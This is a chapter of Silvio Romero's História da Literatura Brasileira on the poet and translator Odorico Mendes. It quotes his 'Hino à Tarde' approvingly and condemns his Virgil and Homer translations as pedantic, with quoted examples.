Odorico Mendes, tradutor da Eneida de Virgílio e Ilíada de Homero (Silvio Romero)

Silvio Romero (Lagarto, 21 de abril de 1851 — 18 de junho de 1914) – História da Literatura Brasileira

Vol. III. Contribuições e estudos gerais para o exato conhecimento da literatura brasileira. Fonte: José Olympio / MEC.

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TRANSIÇÃO

POETAS DE TRANSIÇÃO ENTRE CLÁSSICOS E ROMÂNTICOS (continuação)

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POETAS DE TRANSIÇÃO ENTRE CLÁSSICOS E ROMÂNTICOS

Manuel Odorico Mendes (1799-1864), político, jornalista, literato, poeta, foi o patriarca da escola maranhense na literatura brasileira. Os seus pares foram Sotero dos Reis, Francisco Lisboa, Gonçalves Dias, Henriques Leal, Trajano Galvão, José Pereira da Silva, Franco de Sá e Gentil Homem de Almeida Braga.

Quando falo em escola maranhense não quero dizer que as mesmas idéias, as mesmas doutrinas, um corpo sistemático de opiniões, tivessem brotado ali e sido arquitetadas por aqueles obreiros. O laço que os prende é terem nascido na mesma terra e vivido quase todos no mesmo tempo.

Se entre Odorico e Sotero há igual entusiasmo pelas letras clássicas, entre eles e Franco de Sá ou Gentil Homem as intuições são mui diferentes. Gonçalves Dias na poesia e Francisco Lisboa na história ocupam uma posição à parte.

Em Odorico Mendes parece-me sobrepujar o patriota ao literato. Desde 1824 atirou-se ao jornalismo e à política ativa. No Maranhão e no Rio de Janeiro foi um dos homens mais influentes do período regencial e tinha sido um dos preparadores do Sete de Abril. Estava na corte nesse tempo e foi um dos organizadores da regência provisória. Não entra em meu plano escrever a história dos governos regenciais, nem mesmo fazer a biografia do poeta maranhense. Este último trabalho foi magistralmente levado a efeito por J. Francisco Lisboa e A. Henriques Leal.5

O decênio que vai de 1830 a 40, é a certos respeitos a época mais valorosa e memorável da história do Brasil. Nunca tivemos tanta audácia e nunca mostramos tão bom senso. Nunca houve tanta indisciplina, nem tanta energia e desprendimento. A velha colônia com João VI e Pedro I tinha apenas mudado de senhor; o português ainda imperava; a Regência trouxe-nos a posse e a consciência de nós mesmos.

Os partidos agitaram-se, as províncias abalaram-se, as revoluções surgiram. A imprensa multiplicou-se como por encanto, os clubes e associações tomaram vida e vigor desconhecidos; republicanos, monarquistas, restauradores, federalistas, moderados, exaltados, todos combateram-se com veemência. A carta foi revista e modificada; a escravidão abalada com a extinção do tráfico; as facções por toda a parte debeladas; o espírito militar e separatista comprimido.

Neste meio achou-se Odorico Mendes e representou bem o seu papel; foi um liberal sincero e ativo em política. Em literatura e arte o maranhense era um clássico, um espírito conservador. Isto demanda explicação. O nosso escritor não pode ser considerado um representante do espírito do século XVIII; não descubro nele os fios rosados da corrente voltairiana e enciclopedista. Não é também um homem representativo do espírito da Restauração. Não diviso nele os fios louros dos influxos renovadores, o sopro popular, o renascimento das tendências nacionalistas, que constituem a glória do romantismo. Intelectualmente Odorico ficou sendo um discípulo da Universidade de Coimbra, um genuíno representante do falso classismo português de 1820.

5. J. P. Lisboa, Obras, vol. IV, pág. 491; A. H. Leal, Panteon Maranhense, vol. I, págs. 3 a 99.

 

Atirado de chofre na vida pública, faltou-lhe o tempo para engolfar-se no tumulto das renovações literárias. Sua carreira nas letras, iniciada em Portugal em 1816, foi interrompida em 1824. Quando, mais tarde, voltou a ela, achou-se com os elementos antigamente colhidos, achou-se um clássico atrasado. Em política fácil lhe foi seguir a intuição liberalizante da época.

Restam do escritor maranhense artigos de jornal, raras poesias avulsas, as traduções da Mérope e do Tancredo de Voltaire, das Bucólicas, Geórgicas e Eneida de Virgílio, da Ilíada e Odisséia de Homero.

Às traduções dos dous poetas antigos deve principalmente Odorico a fama que o cerca. Parece-me ir nisto grande abuso. Como erudito, o melhor trabalho do nosso autor é o opúsculo sobre o Palmeirim de Inglaterra; como poeta, o mimoso Hino à Tarde.

Pelo primeiro destes escritos Odorico tomou parte, ao lado de Caetano Lopes de Moura e Francisco Adolfo Varnhagen, nas contribuições brasileiras para o estudo da literatura popular da península hispânica. Pelo Hino à Tarde tomou lugar entre os bons poetas; porque aqueles versos são os últimos raios da tarde da velha escola, são o canto do cisne do classismo.

O opúsculo acerca do Palmeirim é um escrito técnico, de caráter erudito e circunscrito a um ponto problemático da história literária de Portugal. É obra de certo valor e demasiado especialista para ser aqui analisada.

O Hino à Tarde, se me é permitido expor uma impressão individual, nunca o pude ler sem boa e saudosa emoção.

O poeta estava longe de seu país, de seu lar, de seus parentes; trouxe à memória o viver passado, as cenas de sua terra, os encantos de sua infância, os contos à lareira, as saudades de seus amores, e escreveu estes versos, onde circula um não-sei-quê de vago e doce, que bem parece a essência mesma da poesia:

"Que hora amável! Expiram os favônios;
Transmonta o sol; o rio s’espreguiça;
E, a cinzenta alcatifa desdobrando
Pelas azuis diáfanas campinas,
Na carroça de chumbo assoma a tarde…
Salve, moça tão meiga e sossegada;
Salve, formosa virgem pudibunda,
Que insinuas cos olhos doce afeto,
Não criminosa abrasadora chama!
Em ti repousa a triste humana prole
Do trabalhado dia, nem já lavra
Juiz severo a bárbara sentença,
Que há de a fraqueza conduzir ao túmulo.
Lasso o colono, mal avista ao longe
A irmã da noite, côa-lhe nos membros
Plácido alívio: — posta a dura enxada,
Limpa o suor que em bagas vai caindo…
Que ventura! A mulher o espera ansiosa
Cos filhinhos em braço e já deslembra
O homem dos campos a diurna lida;
Com entranhas de pai ledo abençoa
A progénie gentil que a olho pula.
Não vês como o fantasma do silêncio
Erra, e pára o bulício dos viventes?
Só quebra esta mudez o pastor simples
Que, trazendo o rebanho dos pastios,
Com a suspirosa frauta ameiga os bosques…
Feliz! que nunca o ruído dos banquetes
Do estrangeiro escutou, nem alta noite
Foi a porta bater de alheio alvergue.
Acha no humilde colmo os seus penates,
Como acha o grande em soberbões palácios.
Ali também no ouvido lhe estremecem
De mãe, de amigo os maviosos nomes;
Conviva dos festins da natureza,
Vê per fazerem-se as funções mais altas:
— O homem nascer, morrer, e deixar prantos…
Agora ia entre prados, após Laura,
O ardido vate magoando as cordas;
E a selvática virgem, recolhendo
A grave dor cristã, que a assoberbava,
Do mancebo cedia à paixão nobre,
Grande e sublime, como os troncos do ermo…
Ai! mísera Atalá!… mas rasga o fogo,
E o sino soa pelas brenhas broncas.
Tarde, serena e pura, que lembranças
Não nos vens despertar no seio d’alma?
Amiga tema, diz-me, onde colhes
O bálsamo que esparges nas feridas
Do coração? Que apenas dás rebate.
Cala-se a dor; só geras no imo peito
Mansa melancolia, qual ressumbra
Em quem sob os seus pés tem visto as flores
Irem murchando, e a treva do infortúnio

Ante os olhos medonha condensar-se.
Longe dos pátrios lares, quem não sente
Os arrebóis da tarde contemplando
Um súbito alvoroço? Então pendíamos
Dos contos arroubados que verteram
Propícios deuses nos maternos lábios;
E branda mão apercebia o berço
Em que ternos vagidos afagava.
Infausto anúncio de vindouras penas.
Sobre o poial sentada a fiel serva
Que vezes atentei chamando ao pouso
A ave tão útil que arrebanha os filhos,
E adeja e canta, e pressurosa acode!
Coa turba de inocentes companheiros,
Agora sobre a encosta da colina,
A casta lua como mãe saudávamos,
E suplicando que nos fosse amparo,
Em jubilosa grita o ar rompíamos.
Mas da puerícia o gênio prazenteiro
Já transpôs a montanha; e com seus risos
Recentes gerações vai bafejando.
A quem ficou a angústia, que moderas,
ó compassiva tarde? Olha-te o escravo,

Sopeia em si os agros pesadumes:.
Ao som dos ferros o instrumento rude
Tange, bem como em África adorada,
Quando (tão livre!) o filho do deserto
Lá te aguardava; e o eco da floresta
Da ave o gorjeio, o trépido regato,
Zunindo os ventos, murmurando as sombras,
Tudo, em cadência harmônica, lhe rouba
A alma em mágico sonho embevecida.
Não mais, ó musa, basta; que da noite
Os pardos horizontes se tingiram,
E me pesa e carrega a escuridade.
Oh! venha a feliz era que da pátria,
Nessas fecundas, dilatadas veigas,
Tu mais suave a lira me temperes:
Da singela Eponina acompanhado,
Na escura gruta que nos cava o tempo,
Hei de ao vale ensinar canções melífluas.
Nos lindos olhos, nos mimosos beiços,
Nos alvos pomos, no ademã altivo,
Irei tomar as cores que retratem
Da natureza os íntimos segredos.
Do ardor da esposa; do sorrir da filha;
Do rio que espontâneo se oferece;
Da terra que dá fruto sem o arado;
Da árvore agreste que na densa grenha
Abriga da pendente tempestade,
A sobreolhar aprenderei haveres,
A fazer boa sombra ao peregrino,
A dar quartel a errado viandante.
Lá estendendo pelos livres ares
Longas vistas, nas dobras do futuro,
Entreverei o derradeiro dia…
Venha; que acha os despojos do homem justo.
ó esperança, toma-me em teus braços,
Com a imagem da pátria me consola!"""6

Fora possível estabelecer comparações entre este e tantos outros hinos à tarde existentes em todas as literaturas. O poeta maranhense não se sairia mal do confronto. Entre nós bastante é lembrar a Tarde de Aureliano Lessa inferior aos versos de Odorico e o Hino à Tarde de Bernardo Guimarães também mais fraco.

Quanto às traduções de Virgílio e Homero tentadas pelo poeta, a maior severidade seria pouca ainda para condená-las. Ali tudo é falso, contrafeito, extravagante, impossível. São verdadeiras monstruosidades. Nas traduções dos monumentos das letras clássicas existem três grandes questões a considerar: há o lado científico propriamente dito, isto é, os problemas de filologia, mitografia, etc., que se prendem à cultura greco-romana; há a face lingüística, o maior ou menor conhecimento das línguas e da respectiva literatura; há, finalmente, o prisma artístico, o talento, a capacidade poética do tradutor. O primeiro aspecto do problema foi pouco da alçada de Odorico; o segundo ele o conheceu; o terceiro faltou-lhe completamente.

Esta última face é que interessa assinalar. Em rigor as traduções em verso são verdadeiros jogos de paciência inutilmente gasta. A poesia não se traslada sem perder a mor parte de sua essência. Nas melhores condições a tradução poética é sempre grandemente falsa. Essas melhores condições vêm a ser a posse por parte do tradutor de grande talento poético e de certo estado subjetivo em que sinta e reproduza em si, como obra própria e espontânea, a obra que traduz. A tradução deve revelar-se na leitura como trabalho autônomo e independente, como se fora produto original e assim primitivamente escrito. É o que não se nota nas traduções de Odorico. Ásperas, prosaicas, obscuras, assaltam o leitor aquelas páginas como flagelos.

6. Minerva Brasiliense, n.° 12 — de 15 de abril de 1844, pág. 367.

O tradutor atirou-se à faina sem emoção, sem entusiasmo e munido de um sistema preconcebido. O preconceito era a monomania de não exceder o número de versos feitos por Virgílio e Homero para provar a idéia pueril de ser a língua portuguesa tão concisa quanto o latim e o grego. Para obter este resultado esdrúxulo e extravagante o maranhense torturou frases, inventou termos, fez transposições bárbaras e períodos obscuros, jungiu arcaísmos " a neologismos, latinizou e grecificou palavras e proposições, o diabo! Num português macarrônico abafou, evaporou toda a poesia de Virgílio e Homero.

É abrir ao acaso e tropeçar a gente na pior das afetações, a afetação gramatiqueira, purista e pseudoclássica:

"Com tais razões lhe atiça o interno incêndio,
O ânimo dúbio alenta e o pudor solta,
Logo, em busca da paz, delubros correm;
A Lieu e Febo ovelhas matam bimas
E a legífera Ceres, mais que a todos
À dos nós conjugais fautora Juno.
Taça na destra, a pulcra Dido mesma
De branca almalha pelos cornos verte-a,
Ou passeia ante os deuses e aras pingues;
Sagra o dia a oblações; consulta, as reses
Pelos peitos abertas respirantes
Entranhas, congoxosa. Ai! néscios vates!
Delubros, votos à paixão que montam?
Rói as medulas mole flama, a chaga
No âmago vive tácita. A rainha
Arde insana, infeliz vagueia as ruas
Qual cerva a quem de sibilante seta
O pastor, a atirar nos Créssios Bosques,
Varou de longe incauta: ignaro a farpa
Volátil prega e deixa, ela na fuga
Discorre as selvas e dictêias matas;
A letal frecha ao lado se lhe aferra."

(Eneida, IV, 55.)

"Fora de si, da nova amarga aceso
Consta que suplicante alçara as palmas:
— Soberano, a quem brinda a Maura gente,
Banqueteada em marchetados leitos,
Reparas nisto, ó padre? ou com medonho
Troar, cegos fuzis, retortos raios,
Nos assustas em vão?
Mulher, que errante
Para exígua cidade em nossa extrema
Nesga foreira merca e ara uma praia,
Rejeitou-me e em senhor admite Enéias!
E esse Paris, mandando uns semiviros,

Guedelha mádida em Meônia mitra
Sob o mento enlaçada, o furto logra:
Templos encher-te, fomentar nos baste
Um oco nome!"

(Eneida, IV, 220.)

"Tu não menos,
Caieta ama de Enéias,
Nossas praias morrendo eternizastes;
Guarda o lugar teu nome e se isto é glória,
Na magna Hespéria os ossos te assinala.
O pio aluno, exéquias celebradas,
Túmulo erguido, assim que os mares jazem,
A velejar prossegue e o porto larga.
Auras à noite aspiram, nem seu curso
Cândida a lua nega; o ponto esplende
Ao trêmulo clarão.
Circéias terras
Costeiam-se, onde lucos inacessos Com aturado canto a rica filha Do sol atroa, e nos soberbos tetos, Odoro cedro em luz noturna queima, Corre com pente arguto as finas teias! Dali gemidos a se ouvir, e as iras De horrentes leões cadeias recusando E a desoras rugindo, e nos presepes Ursos raivar, sanhudos grunhir cerdos, E enormes vultos ulular de lobos; Que a seva deusa, com potentes ervas, De homens os transvestira em brutas feras, Porque arribada o encanto a boa gente Não padeça, nem toque as dirás plagas, Favorável Netuno encheu-lhe as velas, E dos férvidos vaus a impeliu fora. Já na arraiada roxeava o pego, Fulgia em rósea biga a ruiva Aurora: Acalma o vento, nem sequer bafeja, E tonsas lutam pás no lento mármore."

(Eneida, VII, in principio.)

É este o tom; simplesmente pedantesco e maçudo. Este gênero de traduções é que forneceu tão engraçados debiques a Rabelais.

A tradução da Ilíada é cinqüenta vezes pior: os crinitos Graios, a claviargêntea espada, os bronzeados bucos, as fálripas, as adargadas hostes, os hastados sócios de topete hirsuto, a olhicerúlea, crinipulcra déia, a predadora Palas pulcricoma, os ungüissonos cavalos, a crócea aurora, os solípedes, o urbifrago Pélidis, a núncia procelípede, a rija, eriaguda lança, o velocípede Aquiles, a olhitáurea Juno; o infrugífero ar, os Aqueus amplocomados, e semelhantes pragas, atordoam por toda a parte.

Na tradução da Ilíada há versos assim:

"Do vértice do Olimpo, mui gozosa,
Acérrimo o cunhado e irmão pugnando
A Auritrônia descobre, e no da sumo
Multimamante a Júpiter sentado,
Consorte aborrecido; como o engane
A olhitáurea cogita augusta Juno…"

Neste estilo esvaeceu-se de todo a poesia do velho Homero. As traduções de Odorico Mendes são injustificáveis; este homem, aliás talentoso e ilustrado, foi vítima de um sistema absurdo. Sirva-nos o exemplo e evitemo-lo.

 

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